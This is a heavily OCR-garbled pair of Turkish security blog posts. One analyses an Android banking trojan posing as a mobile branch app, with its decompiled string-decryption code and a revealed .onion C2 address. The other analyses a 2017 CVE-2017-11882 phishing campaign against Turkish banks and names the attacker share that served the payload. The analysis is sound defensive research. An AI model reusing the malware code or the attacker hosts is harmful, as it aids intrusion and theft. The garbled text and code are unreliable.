giivenlik yazilimlar1 kullanma zorunlulugu hissedip, giinliik isleri arasinda aldiklar1 siradan bir e-postada yer alan bir baglanti adresine (link)
tiklamadan once 40 kere diislinmek durumunda kaliyorlarsa, Android isletim sistemi kullanicilar1 da benzer bir paranoya iginde giinlerini
gecirmeye basladilar. Nitekim haksiz olduklarini séylemem oldukga gii¢ 6zellikle bankacilik zararli yazilimlarinin gelisimini hem igi hem de
0zel ilgisi nedeniyle yakindan takip eden bir gilivenlik arastirmacisi olarak son aylarda karsilastigim zararli yazilimlar beni bir hayli sasirtiyor.
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Soyle doniip 2012 yilinda yayimlamis oldugum Android Zararh Yazilim Analizi baslikli blog yazima baktigimda, o zamanlar Android igletim
sistemi i¢in gelistirilmis olan zararli yazilimlar1 analiz etmenin ¢ok da zor olmadigini, giiniimiize kiyasla statik analizin zararli yazilimlar1
analiz etmede tek bagina yeterli olabildigini gériiyorum. Giiniimiizde ise isin rengi git gide degisip isler, zararli yazilim analistleri i¢in her
gecen giin daha da karmagik bir hal aliyor.

[lk olarak ~2 y1l 6nce goriilen ve hem Bakir EMRE ‘nin yazisina hem de benim Android Anti Anti-Emulator baslikli blog yazima konu olmus
olan, ¢agr1 dinleme ve SMS mesajlarini okuma 6zelliklerine de sahip zararli yazilimin giincel siiriimii ile gectigimiz aylarda karsilastigimda,
kullanic1 arabiriminin (UI) yillar iginde geldigi nokta beni fazlasiyla sasirtti.

Y4082 g

¥4 0sas

Device administrators

Personal

-

Calendar

> H > O

T.C. Kimlik Custom Loca. Dev Settings DevTools  Downloads
Mumaras:

Ayarlar

Mobil Sube Girig

O o X8

Anasayfa Piyasalar Araglar  Subeler

O o

Anasayfa Piyasalar Araglar  Subeler

E-f3 mobile

-3 Alicilar
E'@, Boot.class
2] 'Ilﬂ_?}’ Call.class

£

'|'0_?9 Arama_Dinleyid.dass
Gozculer

'|'0_?9 Arama_Gozcu.dass
Jnl_?p Sms_Gozcu.dass
Servisler

-Ilo_?? ForcelD.dass

fup ForceM.dass

fu Gorever.dass

fuh Listener.dass
[H-Top Mmsd.class

Kullanici arabirimi bir kenara, uygulamanin kaynak kodunda okunakli olmayan karakter dizilerinin (strings) calisma esnasinda 6zel bir
fonksiyon ile XOR isleminden gecirilerek ¢oziiliiyor olmasi ve ayrica bazi énemli degerlerin (ip adresi, tor adresi vs.) AES sifreleme
algoritmasi ile sifreli bir sekilde saklanip yine benzer yontemde farkli bir fonksiyon ile ¢aligma esnasinda (run-time) ¢oziiliiyor olmasi,
fonksiyon isimlerinin I1TIull gibi isimlerle adlandirilmis olmasi, statik analize kars zararli yazilim gelistiricisinin azmini ortaya koyuyordu.
“Azmi gorilyorum ve arttirryorum!” dedikten sonra her ne kadar karakter dizilerini ve sifrelenmis degerleri statik analiz ile ¢cdzmek, zor da

olsa pratikte miimkiin olsa da ¢ok daha zor durumlarla kars1 karsiya kalindiginda hangi yontemlerden, araglardan faydalanilabilecegine bu
yazida yer vermek istedim.

Windows zararli yazilimlarini analiz ederken statik analizin yetersiz oldugu noktalarda dinamik kod analizi ve x64dbg, IDA Pro gibi araglar
her daim kurtarcimiz olsa da mevzu bahis Android isletim sistemi oldugunda araglar ve yetenekleri sinirli olabiliyor. Her ne kadar Casus
Telefon baslikli blog yazimda IDA Pro ile dinamik kod analizi yaptigima yer vermis olsam da perde arkasinda IDA Pro’nun Android hata
ayiklamasi (debugging) konusunda stabil olmamasi, yer yer gdgmesi beni analiz esnasinda olduk¢a zorlamisti.
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invoke-virtual
move-result-object

{v1, va}, <ref StringBuilder.append(ref) imp. B _def_StringBuilder_append@LL_1>
u1

invoke-virtual
move-result-object
invoke-virtual
move-result-object
move-object
invoke-direct/range
080121A70 invoke-virtual

08121A76
(1348, 346) 00121A52 00121A52: ae a@VLLJI+11E (Synchronize

7Locals

Name Value Type Location

{v1, vk}, <ref StringBuilder.append(ref) imp. @ _def_StringBuilder_append@LL_1>

vl
nal IDA Error - |

ef_StringBuilder_toString@EL>

Oops! internal error 1118 occured. ref) ah__init @ULLLLL>
Further work is not possible and IDA will close.

| Would you like to create a crash dump for a bug report?

Create a crash dump and exit IDA  Just exit IDA [

Gegtigimiz aylarda Fortinet‘in glivenlik arastirmacilarindan biri olan Axelle APVRILLE’ nin Android zararli yazilim analizini konu alan

bir sunumuna bakarken Code Inspect adindaki bir
olarak elimin altindaki bu zararl yazilim iizerinde

arag dikkatimi ¢ekti. Daha 6nce boyle bir ticari aracin varligindan haberdar olmamuis biri
denemeye karar verdim. Jadx araci ile gergeklestirdigim statik analizde, sifreli degerlerin

Resources dosyasinda yer aldigini ve sifre ¢é6zme isleminin ise com.android.mobile.Yardimcilar.i sinifinda yer alan illiilliil fonksiyonunda

gerceklestigini tespit ettim.

¥ O com.androidmoble Yardmeisri X @ comandrodmablekw X @ comandrod.moble.Abclar Boot 3 © com.androidmoble bl D6p 3 @ com.androd.moble Abclar Marwel 3 © com.andioid.moble bl Start 3 @ com.androidmoble.w.y 3 Al

Find: TTRIT&I( § Previous | Mext [JMark Al [JRegex [ MatchCase []Wholeword 3

42

public String ilIiilIiil(String arg®,

String argl, CryptlLibSEncryptiiode arg2,
Strin ‘astring;

String arg3) throws

InvalidalgorithmParameterException, IllegalBlockSizeExceptic "

length = argl.getBytes(z. iITSATTE4T(":v)/w")) . length;
if (argl.getBytes(com.android.mobile.r. i ATTHITTE4T("ypf)4a™)).length > this ITTiiT3iTi.length) {
length = this . ITTiiTiiTi.length;

}

int length? = arg3.getBytes(z.iITiiTTHiI(":v)/u")).length;

113 if (arg3.gevBytes(com.android.mobile.r. L. iITi4ITi11("ypj)4”}).1length > this.iiilTiiiTii.length) {
3 length? = this.iiifiiirii.length;

1

3 System.arraycopy(argl.getOytes(z. iTTiiITiiTI(":v)/w")), ©, this.IITiiliili, 0, length);
System.arraycopy{arg3.getBytes{com.android.mobile.r. i i1T1IT441("ypj)4")), @, this.iiiliiilii, @, length2);
:Kcy secre

= new SecretKeySpec(this.III1iTiiTi, z.iITHAIE4I(".6\we01c™));
AlgorithsParaseterSpec ivParameterSpec = new IvParameterSpec(this. i1iTiiiTii);

s1 if (arg2.equals(Cryptlib$Encryptiode. 11iTi1iT44)) {
ry this SITISTiTIX.init(1, secr P ivParameterSpec);

149 d ing = Base6d. d ing(this.iIITiTiIIT.doFinal(argl.getBytes(com.android.mobile.r i TTEEITH4I("yp3)a"))), @);
I else {

179 encodeTeString = str;
}

173 if (larg2.equals|CryptLib$EncryptMode. IITIITIITI)) {

179 return encodeToString;

165 this. iIITiliIII.init(2, secretKeySpec, ivParameterSpec);
return new String(this.ilIIiIiIII.doFinal(Basetd . decode(arg.getBytes(), @))); h
}

public static String iIIiiITiiI(String arg@, int argl) throws NoSuchAlgori p PP ing
geDigest i - geDigest. get (com.android.mobile.r. 4. iTTIITI4EI("_Im\t\u@dlel:"));

.update(srgl.getBytes(z ATTESTTEAT(" sv)/w™)));

byte[] digest = instance.digest();

StringBuffer stringBuffer = new StringBuffer();

int length = digest.length;

int i = 8;

int 12 = 8;

while (i < length) {

byte b = digest[i2];

ption {

20 String iITiiTI{iT - com.android.mobile.r.i. iITiiTI1T("\uEB01\WBO1cEL™);
20 Object[] objArr = new Object[1];
20 Byte valueOf = Byte.valueOf(b);
20 i=42+1;
20 objarr[8] = valueOf;
20 stringduffer.append(String. format(iIIi4II4iI, objArr));
20 i2 = i;
}
158 if (argl » stringBuffer.toString().length(}) {
153 return stringBuffer toString();
y
182 return st Buffer.toString().substring(e, argl);
' <
public String WiiIIIiii(String argd, Context argl) throws Invalidiey! ption, UnsupportedEncodingException, InvalidAlgorithmParaseterException, Ille lockSizeException, BadPaddingException {
return iITiiITiiI(arge, argl.getResources().getString(R.string.rgplus), CryptLib$EncryptMode.iiiTiiiTii, argl.getResources().getString(R.string.rlink));
1
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IITiiTiili,

g nam

tString
iTIiiT1

W

= chrom = ch e | strings xeml E3
<string name="library FloatingActionButton authorWebsite">https: [ /githob.com/makovkastar/FloatingActionButton</string>

<string :ar.’.e=“1:'lb'r'a.r"y_l“loa.t:'lngAct:'lonBut‘ton_:'lsOpenSou‘r‘ce“>tme<,-"5t,ring>

<string name="library FloatingActionButton libraryDescription">Android Google+ like floating action button which reacts on the 1i

=

 android_hook py |

when scrolled down.</string>

<string :ane=“librdry_FlodtiugActiGnButton_librdryNamE“>FluatingAﬂtionButton(fstIing}

<string :ar.’.e=“1ibr‘a.ry_]:"loa.t:'1ngAct:'lonButton_library‘!er51011">1.D.U(,-"st,ring)

<string :ame=“library_FloatingActionButton_libraryﬁebsite“}https://qithub.com{makovkastar/?loatingAﬂtionButton<fstring>
<string :ar.’.e=“l:'lbr'a.ry_]:"loa.t:'lngAct:'1onButton_licenseId“)mit(fst,ring}

<string :ame=“library_FloatingActionButton_repositoryLink“>httDs://qithub.comgmakovkastar/FloatingActionButton<f5tring>

<string name="more string">+<g id="count">%1§s</g></string>

<string name="not defaunlt send2">Bir Sorun Olustu. Duzeltmek Icin Tiklayin.</string>
<string name="pref send texts as mms">Send texts as MMS</string>

<string name="pref send texts as mms summary">Send text messages via MMS instead of SMS</string>
<string :ar.’.e=“r‘ate_sna.ck_a.ct:'1011“>Rate!—]<,-"5t,ring>

<string :ar.’.e—“r‘ate_sna.ck_msg“>Like?<,-"5t,1’ing>

<ztring name="rfacebook">CoUsmPiB3jGdjxn¥XKYLdBMa5LahtMkd/H/U0+NFngxI=</string>
<ztring name="rgplu=">bl6920894899c7780b5fcT161560a412<,/string>

<string :ar.’.e=“'r'l:'1nk“>f9ppem00_RiezPMU<,-"5tring>

<string name="rtwitter">B1B2Rb8gpM7gr4ltYrm5yfl1HO06kewycKRMECHgLGAaBE=</string>
<string :ar.’.e—“ms_a.pp“>Mop0m496fdAsECSTaEJ[JNA=<,-"5tring>

<string :ar.’.e=“s_hea.d_p“>vhquEXYlT4+ZIE’3E[HpuUQ=<,-"5tring>

<string name="s_ head u">hXBwxsJ4vWOBYQye]2WTkQ=—</string>

<string name="text legal">Mobil Sube Kurulumu Ii:g.in Onay Gerekmektedir</string>

<string :ane=“trdnsldte_sndck_dctiun“}Translate!—}(/5:Iing>

<string :ar.’.e=“tra.nsla.te_sna.ck_msg“>Linguist?<,-"5t,ring>

<string name="url snack action">Visit Website!-)</string>

<string :ar.’.e=“url_sna.ck_msg“>Curious?<,-"5tring>

<string :ame=“vview_label”>vviewz<fstring>

<string name="xallx">gsPWbIHp+bgZdSEARSIgpA—</string>

<string name="xallx">0a6ffCI0BuPCzuvVhQlrxgXX500KiC+dgu=s9R]ZEAZ PVb5iwlRbyye2givusleAw< /string>

<string name="xal2x">5Eh+5YciGl0ZBg5Degd29w—</string>

<string name="xal3x">9j7+ZmoDré5miweGr2VRiw—</string>

<string name="xaldx">1WxedtZRxuJZExN=sAQOhRD=—</string>

<string name="xal5x">36kN+gbRTHXJeRr7GCsYeDTkntrPeveYnhBVkvUnhI=</string>

<string name="xaléx">Bz/9Jz+t6/5d52=sDzKyVMBAZ011talLf+RxC6eHlsArU=</string>

<string name="xalT7x">bczxcHD1xClvFacXTZJNCaQS1A—</string>

<ztring name="xal8x">bwerwHD1xClvFacXTZJNCaQS1A—</string>

<string name="xal9x">c5DwQiMmD1 3gwGkUQqTSDO=—</string>

<string name="xalx">G5rDUGyeajUpoULK7sb8NQ=—</string>

<string name="xa20x">c5DwQiMmD1 3gwGkUQqTSD)=—</string>

<string name="xaZx">BdgVe+XJVRzJSZrtFUhZjA=—</string>

<string name="xa3x">KtsDaCsiWTICuGhgWlVLiA—</string>

<string name="xadx">TtxZLtsJQF+20mVNMBrvxg—«</string>

<string name="xa5x">bHD1xClvFacXT7ZJHCaQS1A—</string>

<string name="xa6tx">M50cpXttddwOBkugdMoc6Cg—</string>

<string name="xaTx">srXrTvdAvYJUT4zRYIhUng=—</string>

<string name="xaBx">z5BO0rQ85z61EBjRdbESiyZ/Tnc0TYSWIZUasRjtWD5ys=</string>

<string name="xad%x">gqwOOLgQV31laRH3Wicc827g—</string>

<string :ar.’.e=“zd:’ll_modez“>bgfhbvghED1xC1vFac}('?ZJ'NCaQSlA=<,fstring>

<string :ar.’.e=“zpr‘_modez“>bE|D1xascdelvFac}('?ZJ‘NCaQSlA=asd<!5tring>
L</resources>

Codelnspect aract ile mobilsube.apk dosyasini agip, com.android.mobile. Yardimcilar.i sinifinda yer alan illiilliil fonksiyonu kesme noktast
koyup, GenyMotion dykiiniiciisii (emulator) lizerinde hata ayiklama (debugging) yapmaya basladiktan kisa bir siire sonra bu fonksiyon ile
gergeklestirilen AES sifrelemesinin anahtarini, IV (initialization vector)’yi, sifreli verileri ve ¢6ziilen verileri (tor adresi gibi) kolaylikla elde
edebildim.
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= 5 e 1385
= o g 4
= y rve: 1120
= OperatorMap$l ontieaiObject) ine: 5 "
= o o
= Object, long)
= 5 5 o iy
= n
= mﬂ«muw v
= SeintedSubacriberonled(Obiect ine 34 il >
D djmpie | B | mgjmpie lB i [ @ sjimpte | @ igmple 21| D wimple | D sajmple | D spmple | D vjmpte | 3 Rictrngye [ poblicami | ™ = 0 |[2 Outine 2 Er=0o
61 SString Method getsteing 1 - A | v @ comandoidmabie Yardmalari
.m virtualinvoke this TT1LTTE1(3paramd, $5tring bethod getstring, SCryptlih_Encryptiiode_Field ITTHIIIL, $5tring Method getstring 1); 12 bytel] Ml
263
%4}
28
. miume string {IMEIAI(String Spacasd, Steing Sparasl, CryptiibSEncryptiiode $pacasd, String Sparsed) throws § ing ion, jave.securit Jave.sec
2675
268 String $String;
269 byte[] Sarrbyte, Sacrbyte 1;
270 ot $ine, $int_i, $imt 2, Bint_3;
m SecretieySpec $secretkeySpec;
12 fvParsmeterspec $lvParameterSpec;
FEE Cryptiib3incryptiiode SCryptiib_Encryptrode;
278 boolean $20;
s Cipher $Cipher; -
76
277 sstring » staticimoke o AIIUICv) )
178 Sarrbyte Sparaal
279 sint ]ﬂ‘thﬁ rhyte; i
»
|Em¢.m @ Loaded Classes| & (8] Probtems| REP| 2B-0O-=D

|Search for messages. Accepts lva regenes. Prefic with pick, app:, tag: of text: to himit scope.

PO TID  Application Tag Tt
<

Do ~ H 8D &

-
3

com.android.mob: eglSurfacetttrid not implesented
com.android.mob: Failed to set EGL_SWAP BEMAVIOR cn surface OxdcelaS4ad,

< I—

-

com.android.mob: Background sticky concurrent mark sweep GC freed 2038(124x8) ulllmipue objects, 8{e8) L0S objects, 9% free, 2@/ 28

>
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%4 workspace - Debug - mobilsube.apk/Sources/com.andeoid mobibe. Yardimeilar/ijimple - Codelnapect Deme
File Edn Mevge Project Rum Search Andicid Codelnpect Wadow Halp

w | BME® R 0% import— | [l Beckmarks + £ {) -0~ . EEER S L3 | D, Codelnspect 45 Debug
£ Debug & Bl s 7 = O ||ir veeisbles 1 | % Breakpoints sB| k% =0
g Thoead [main] (Suspended (breskpoint 2t fne 341 in ij) ~ || Hame Value =
= (String, Saring. CryptlibSincrypthlode, String) line 341 ® this i (=270)
ing, Conted] lne: 262 O Sparamd “Foppem(0_ RiePMO" (idaT2)
ring, Context) ine: 340 > © Spaam “hetpesfimsdizjdtédjig2w.onion” Gds272)
= atest] Ry 1) O Sparami - (=131}
= wi -:lcmm. lines 622 o Sparamd CryptlibSEneryptMode (s=TH)
= zilldlid{Contest, boolean) line: 163 @ $5 Obgeci{1] (=273
= MainactivityiPreq diilBoolesn) ine T2 O SSarng UTE-4" (= 274)
=M Praq 9, Boolesn) kne: 39 © SCryptLib_EncryptMode CryptlibSEncrypthode (idsT8)
= MainActwityiPreqsiLambass1.call Dbject) bee: 43 o 5% Object(3] (s 275)
= Observabled27.onMet{Obgect) line 44 o 5o ll 2
= SafeSubscribes.onNest{Otject) ines 225 ® Sarbyte (=278
= 7 7 Bong) lines 753 o 53 :
= e 1385 @ $Cipher
= £l i ) line: 1140 a 67 o
] 41 e 1120 < g
= Opersterbap$1 enNextiObject] line: 5
= OperstorBufferWithSize$1.onNea{Object) fne 34
= geSMerg b . Object, long) fine: 335
= i Obgect) line: 1437
= bee T2
= SeriskzedObserver.crblen(Object) bme: 228
= LeriakredtubscriberonMest(Object]) ine 54 v
Y dijimple Y MainActivity.. ) zgjimple B sl jimple i zjimple i igmple 2 | D wijimple ) sajimple 5 2pmple 2 wijimple Y Ristring jrnple 1 publicaml y = 0 || 5 Outfine & Z% = O
SCipher = this.<i: Cf SITTSTAIINS; - w (@ com.android mobde Yardmeilari
virtualimvoke 30 Key, AlgorithebaraseterSpec)a(2, SSecretieySpec, SIvParaseterSpec); T2 brytel] Wil
byte = staticinvoke B Cipher illilill
her = this.<i: Ci TAIIEs; EE byte]] whisdii
$arrbyte = virtualinvoke §Cipher.dofinal(Sarrbyte); @ void sina ()
$paces = new String; o Strng il
i specinlinvoke $pacasd.<5tring: woid <inits(byte[])>($arrbyte); & Sringil
@ | return $parasd; o Sting
Lobelt: @ String Gilli{String, Context)
Sparaml = "7; @ String dliiliil[String, Context)
goto Label2; @ String String, Cyptl Swing)
a7 Lobeld:
{ 2 retarn Sparasl;
s}
1} "
« s
J Jimple 1 Java
¥ LogCae = = [ || Conscle i1 (@ Loaded Classes. + Code Injection | (5] Problems i b #@-g-=0
. Ardroid - mobilsube.apk - debug
SavedFilters & = & [searchio ges. Accepts egeses. Preficwith ik, app:, tag of tedt: 1o i scope vebese ~ H B D & com.android.mob: eglsurfacesttrib not implesented "
A g com.android.mob: Failed to set EGL_SWAP_BEMAVIOR on surface @wdcelaSdd, error=EGL_SUCCESS
et (pofien) | PO TID  Applcation g Test 2 ||com:android.mob: Background sticky concurrent mark sweep GC freed 2033(12448) AllocSpace objects, 8(88) LOS objects, 9K free, 20/28
€ » o
< »

Kissadan hisse, giiniimiiz Android zararli yazilimlarini agik kaynak kodlu, iicretsiz araglarla analiz etmek her gegen giin daha da zorlasirken,
kullanim1 IDA Pro’dan ¢ok daha kolay ve oldukga stabil ¢alisan Codelnspect gibi ticari araglar sayesinde parayi veren diidiigii kolaylikla
galabiliyor ve hayattaki, analizdeki en degerli sey olan zaman, yaniniza kar kaliyor. Ticari hata ayiklama araci satin alma konusunda benim
gibi gbziinii karartmis olanlara Codelnspect’in muadili, betik destegi de olan JEB aracina da bir goz atmalarini da tavsiye ederim.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

The post Android Hata Ayiklamasi appeared first on Siber Glivenlik Giinliigii.

MetaStrike Operasyonu

By Mert SARICA on May 1st, 2018

21.11.2017 tarihinde saat 16:16’da, Tiirkiye’de bulunan 19 bankanin toplam 535 ¢alisanina Anna.Yasko@profix.kiev.ua e-posta adresinden
Changes to the terms bagligina sahip, ekinde Swift Changes.rtf dosyasi bulunan bir e-posta gonderildi ve ¢ogu bankanin kullanmig oldugu
giivenlik sistemleri tarafindan ya silindi ya da karantinaya alindi.
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https://codeinspect.sit.fraunhofer.de/?q=welcome
https://www.pnfsoftware.com/
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™= I T N R Changes to the terms - Message (HTML) ? B - x
FILE MESSAGE
oy o~ = — — o )
“ x & (E_(i &_)) B2 Meeting # Create New | ¥ WoneNote (=¥ ==I = # Find
aig Junk I [ Related -
Delete  Reply Reply Forward [ 1, |'_ Mave “a e Mark Categorize Follow = Translate Zoom
All I b - Unread - Up~ [y Select~
Delete Respond Quick Steps r Move Tags [F] Editing Zoom -

5al 21.11.2017 16:16

Yasko Anna <Anna.Yasko®@profix kievua>

Changes to the terms

1
1

To 14Petr.Kuznetsov@banksoyuz.ru; 20info@banksoyuz.ru; Aleksey. Chistov@banksoyuz.ru; Aleksey. Kapuskin@banksoyuz.ru; Alla.Dondurey @banksoyuz.ru; Arina.Kuzmina @banksoyuz.ru;
BahshiyanSG @banksoyuz.ru; Bond @banksoyuz.ru; Dmitriy. Kurkin@banksoyuz.ru; Elena.Sokolova @banksoyuz.ru; Evgeny. Cherednichenko @banksoyuz.ru; Igor. Anokhin@banksoyuz.ru;
IsaevaSV @banksoyuz.ru; Kazan@banksoyuz.ru; Kira.Belova@banksoyuz.ru; KrasnikovaMA@banksoyuz.ru; Natalya. Anikina@banksoyuz.ru; Olga.Kogut@banksoyuz.ru;
Oxana.Vetrova@banksoyuz.ru; Pavel.Svishchev@banksoyuz.ru; Petr.Kuznetsov @banksoyuz.ru; Research@banksoyuz.ru; Sergey.Potanin@banksoyuz.ru; SpasskinAY @banksoyuz.ru;

_ fif Swift changes.rtf (31 KB}

T

bl

o See more about Yasko Anna.

.

.]. 21 Nowv 2017 17:16:23 (GMT +03:00) MID: - s
SENDER.: Anna.Yasko@profix.kiev.ua
RECIPIENT:
SUBJECT: Changes to the terms
LAST STATE: Message aborted: Dropped by
£ Svift changes.rtf

Message Details

Envelope and Header Summary

Received Time: | 21 Nov 2017 17:16:23 (GMT +03:00)

MID:

Message Size: | 98.82 (KB)

Subject: | Changes to the terms

Envelope Sender: | Anna.Yasko@profix.kiev.ua

Envelope Recipients:

& attachments: | Swift changes.rtf

Giivenlik sistemlerinde ¢ok sayida alarma yol acan bu siipheli e-posta incelendiginde, baslikta ve ekindeki dosyada Swift kelimesinin
gecmesinin yanisira, alici listesinde (To:) yabanci banka caliganlarinin da dahil oldugu tam 952 kisinin yer aliyor olmasi ve e-postanin ileti
govdesinde (body) herhangi bir metnin yer almamasi siipheleri fazlasiyla arttirtyordu. E-postanin baglik bilgileri incelendiginde, génderen
SMTP sunucusunun ger¢ekten de ProFIX firmasina ait olmas ilk olarak bu kurumun hacklenmis olabilecegine isaret ediyordu. Kim bu
ProFIX diye ufak bir aragtirma yapildiginda, 29 iilkede 250°den fazla banka ile ¢alisan, 2013 yilindan bu yana ise Belarus, Ermenistan,
Giircistan, Ukrayna ve Moldovya‘da hizmet veren bir SWIFT is ortagi oldugu anlasiliyordu.

Swift Changes.rtf dosyasi incelendiginde ise bu dosyanin iginde Microsoft Office 2007’den 2016’ya kadar tiim siirtimlerini etkileyen bir
zafiyeti (CVE-2017-11882) istismar eden bir istismar kodu oldugu ortaya ¢ikti. 14 Kasim‘da Microsoft tarafindan yamasi yayinlanan, GitHub
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http://profix.com.ua/
https://www.swift.com/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

iizerinde ise 20 Kasim‘da istismar kodu yayilanan bir zafiyet, 21 Kasim‘da Tiirkiye’deki 19 bankaya siber saldir1 gergeklestirmek amaciyla,
hacklendigi diistiniilen ProFIX isimli bir SWIFT is ortag: izerinden gergeklestiriliyordu!

=1 pestudio
File Help
HxB8 %
B-@ chusers\mert\desktop\swift changes.rtf engine (58) positiv (24) date (dd.mmyyyy)  age (days) £
Rl s B Sophos Exp/201711882-A 22112017 1
LLZ00) McAfee Exploit-FXRISED2312BFECD 22.11.2017 3
Tkarus Exploit.CVE-2017-11882 22.11.2017 1
BitDefender Exploit.CVE-2017-11882.Gen 22.11.2017 1
Ad-Aware Exploit.CVE-2017-11882.Gen 22.11.2017 1
GData Exploit.CVE-2017-11882.Gen 22.11.2017 1
Rising Exploit.CVE-2017-11882.Gen!1. AED3 (CLASS.., 22.11.2017 1
AegisLab Exploit.Msoffice.Cvelc 2211.2017 1
Microsoft Exploit:097M/CVE-2017-11882 22.11.2017 1 E
Kaspersky HEUR:Exploit.MSOffice. CVE-2017-11882.b 22.11.2017 3
ZoneAlarm HEUR:Exploit.MSOffice. CVE-2017-11882.b 22.11.2017 1
HAovast Other:Malware-gen [Trj] 22.11.2017 1
AVG Other:Malware-gen [Trj] 2211.2017 1
ViRebot RTF.5.Exploit.31811 22.11.2017 1
Ahnlab-V3 RTF/Cve-2017-11882 22.11.2017 1
TrendMicro-HouseCall TROJ_RTFCVE201711882.4 22.11.2017 i
TrendMicro TROJ_RTFCVE201711882.4 22.11.2017 1
DrWeb Trojan.Downloader25.57745 2211.2017 1 o
Symantec Trojan.Mdropper 2211.2017 1
Fortinet WM/ Agent.1416!tr 22.11.2017 1
Baidu Win32 Exploit. CVE-2017-11882.3 22.11.2017 1
ESET-NOD32 Win32/Exploit.CVE-2017-11882.A 22.11.2017 1
Blav clean 21.11.2017 2
MicroWorld-e5can clean 2211.2017 1
nProtect clean 2211.2017 1
cMmC clean 22.11.2017 3
CAT-QuickHeal clean 2211.2017 1
Malwarebytes clean 22.11.2017 1
Zillya clean 2211.2017 1
TheHacker clean 21.11.2017 2
KIGW clean 22.11.2017 1
K7 AntiVirus clean 2211.2017 1
< | LI} | | Arcabit clean 2211.2017 1 S

sha256: 17F9DB18327A20777B010741F7631 DIERICTEACB3IAADI05670154A5C191195C

Bulmacimin kayip pargalarini birlestirdikge ortaya zamanlamasi muazzam, senaryosu amatorce ((To: kisminda 952 kisinin olmasi, ileti
govdesinde metin olmamasi vs.) kurgulanmis bir siber saldir1 girigimi ¢ikt. 952 e-posta adresinin nereden ve nasil temin edildigi sorusuna
tam olarak yanit bulunamasa da, sosyal medya iizerinde siber giivenlik uzmanlarindan Huzeyfe ONAL ve Furkan CALISKAN‘1n tespitlerine
gore 25 Eyliil tarihinde Pastebin sitesinde yer alan bir liste baz alinmisti. 952 e-posta adresi ile Pastebin’de yer alan bu liste karsilastirildiginda
e-posta adreslerinin ¢ok biiyiik bir oraninin bu liste ile ortiisiiyor olmasi, giivenlik uzmanlarini dogrular nitelikteydi.

@ Huzeyfe GNAL — ;

Rusya Merkez Bankasi (CBR) ve Ukraynali
#SWIFT firmasi Profix'den geliyormus gibi
Tirkiye'deki 16 bankaya yonelik #Phishing
saldinisi yapiliyor. Inkd.in/e953fNb

s QOEOOOR®D

> 2 13 10

Huzeyfe GNAL & huzeyd -

mail ve indirilen .exe'ye ait [P/ Domain bilgiler

Olentorca Mad Ao A TasbedGrof i o (P o 4 shurebiviicards cheru |
Dbl 104384907

Wasaraten Zabyet-CVE 201718800

Daays - St crarges o

-

+ oty
o HAIMATHIL

8950520.7C448682 @ ingbank com J896c2e.d0G0...
arthived 26 Sep 2017 20:26:50 UTC
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https://github.com/embedi/CVE-2017-11882
https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about/
https://twitter.com/huzeyfeonal
https://twitter.com/caliskanfurkan_
http://archive.li/1S8ja

22 Kasim tarihinde Carbon Black firmasinin blog sayfasinda bu siber saldirinin 6zet teknik detaylarina IOCleri ile birlikte yer verildi. 30
Kasim tarihli FireEye iSight istihbarat raporuna bakildiginda bu grubun 2016 yilindan bu yana 19 iilkedeki finansal kurumlar1 Cobalt Strike
sizma testi yazilimi ile hedef alan Cobalt grubu (diger bir adiyla MetaStrike) oldugu anlasiliyordu. 8 Aralik tarihinde ise Palo Alto Networks
firmasinin blog sayfasinda bu defa istismar kodunun teknik detaylarina yer verildi.

Swift Changes.rtf dosyast ¢alistirilir ¢alistirilmaz Microsoft Office’in Microsoft Equation Editor bilesenindeki yigin tabanli bellek tasmasi
(stack buffer overflow) zafiyetini istismar ederek \\138.68.234.12\w\w.exe paylasim adresi iizerinden w.exe dosyasini ¢alistirtyordu. Sayet
Windows, SMB protokolii lizerinden ilgili adrese baglanamiyor ise ve isletim sistemi iizerinde WebClient servisi ¢alisir durumda ise bu
durumda WebDAV protokolii tizerinden tanimli vekil sunucu (proxy) ayarlarini da dikkate alarak baglanmaya ¢alismaktaydi. Bu durum da
istismar edilen hedef sistemin ilgili adrese erisip zararli kodu ¢alistirma ihtimalini fazlasiyla arttirryordu!

@ d O =
FILE HOME INSERT DESIGM PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW Sign in
o A A I— # Find -
ibri - - R " S e T a P, o
0 Calibri 11 A & |Aa- R i=-i=-%- &3 8| T || sapbeenc] aasbeade AaBbCc AaBbCcL 3. Replace
E wac
Paste % 2 aky . LEE== = i i =
" o B I U ~-abex X B B = = = | = e TNormal = TNoSpac. Headingl Heading2 |+ s Select
Clipboard Font [F} Paragraph [F} Styles ] Editing -
111111111111
i .
MNetwork Error w

Windows cannot access \4138.68.234.128\w\w.exe

Check the spelling of the name. Otherwise, there might be a problem with your network, Te
try to identify and resolve network problems, click Diagnose.

-jir:j- See details [ Diagnose ][ Cancel
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https://www.carbonblack.com/
https://www.carbonblack.com/2017/11/22/threat-analysis-exploit-allows-for-code-execution-in-vulnerable-versions-of-microsofts-equation-editor/
https://www.fireeye.com/solutions/isight-cyber-threat-intelligence-subscriptions.html
https://www.cobaltstrike.com/
https://www.paloaltonetworks.com/
https://researchcenter.paloaltonetworks.com/2017/12/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/
https://support.office.com/en-us/article/Equation-Editor-6eac7d71-3c74-437b-80d3-c7dea24fdf3f
https://en.wikipedia.org/wiki/Stack_buffer_overflow
https://www.hybrid-analysis.com/sample/60656140e2047bd5aef9b0568ea4a2f7c8661a524323111099e49048b27b72c7?environmentId=100
https://en.wikipedia.org/wiki/Server_Message_Block
https://en.wikipedia.org/wiki/WebDAV

File Edit View Go Capture Analyze Statistics Telephon! Tools Internals Help

oo AN L BB AePDTL QRAQE | @B % B
Filter: | ip.dst == 138.68.234.128 and not arp and not nbns IzlExpression... Clear Apply Save

No. Time Source Destination Protocol Length Info
1 0.000000000 192.168.174.128 138.68.234.128 66 4469 > microsoft-ds [SYN] Seq=0 win=8192 Len=0 MSS=1

4| 1 | 3

# Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 0O

# Ethernet II, Src: vmware_2b:fa:1a (00:0c:29:2b:fa:1a), Dst: vmware_eb:66:94 (00:50:56:eb:66:94)

=

[+ Transmission Control Protocol, Src Port: 4469 (4469), Dst Port: microsoft-ds (445), Seq: 0, Len: O

0000 00 50 56 eb 66 94 00 Oc 29 2b fa 1la 08 00 45 00
